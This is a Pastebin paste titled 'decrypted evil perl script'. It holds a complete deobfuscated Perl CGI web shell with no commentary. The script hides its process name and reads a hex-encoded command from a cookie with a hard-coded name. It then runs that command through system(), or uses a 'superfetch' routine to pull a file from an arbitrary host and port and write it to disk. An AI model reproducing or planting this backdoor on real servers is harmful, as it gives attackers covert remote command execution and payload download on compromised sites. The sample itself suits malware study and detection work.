Advertisement
Guest User

decrypted evil perl script

a guest
Jan 6th, 2012
483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.10 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4.  
  5. $0='';
  6.  
  7. $|=1;
  8. binmode(STDOUT);
  9.  
  10. sub superfetch
  11. {
  12.     my $a=shift;
  13.     my $p=shift;
  14.     my $r=shift;
  15.     my $l=shift;
  16.     eval
  17.     {
  18.         local($SIG{ALRM})=sub{exit(1);};
  19.         alarm(5);
  20.         use Socket();
  21.         socket(S,&Socket::PF_INET,&Socket::SOCK_STREAM,(getprotobyname('tcp'))[2]);
  22.         if(connect(S,pack('Sna4x8',&Socket::AF_INET,$p,pack('C4',split('\.',$a)),2)))
  23.         {
  24.             alarm(0);
  25.             binmode(S);
  26.             if(open(F,'>'.$l))
  27.             {
  28.                 binmode(F);
  29.                 send(S,"GET ".$r." HTTP/1.0\r\n\r\n",0);
  30.                 while(defined(recv(S,$b,1024,0))&&length($b))
  31.                 {
  32.                     print F $b;
  33.                 }
  34.                 close(F);
  35.                 print "OK\n";
  36.             }
  37.             close(S);
  38.         }
  39.     };
  40. }
  41.  
  42. print "Content-Type: text/plain\n\n";
  43.  
  44. my $n='SjJVkE6rkRYj';
  45. my $c='';
  46. my @x=split(/;/,$ENV{'HTTP_COOKIE'});
  47. foreach my $x (@x)
  48. {
  49.     my ($k,$v)=split(/=/,$x);
  50.     if($k ne $n){next;}
  51.     while($v=~/\%([0-9a-f][0-9a-f])/gsmi)
  52.     {
  53.         $c.=chr(hex($1));
  54.     }
  55. }
  56.  
  57. if($c eq 'which superfetch 1> /dev/null 2> /dev/null && echo OK')
  58. {
  59.     print "OK\n";
  60. }
  61. elsif($c=~/^superfetch (.+) (.+) (.+) (.+)$/gsmi)
  62. {
  63.     &superfetch($1,$2,$3,$4);
  64. }
  65. else
  66. {
  67.     system($c);
  68. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement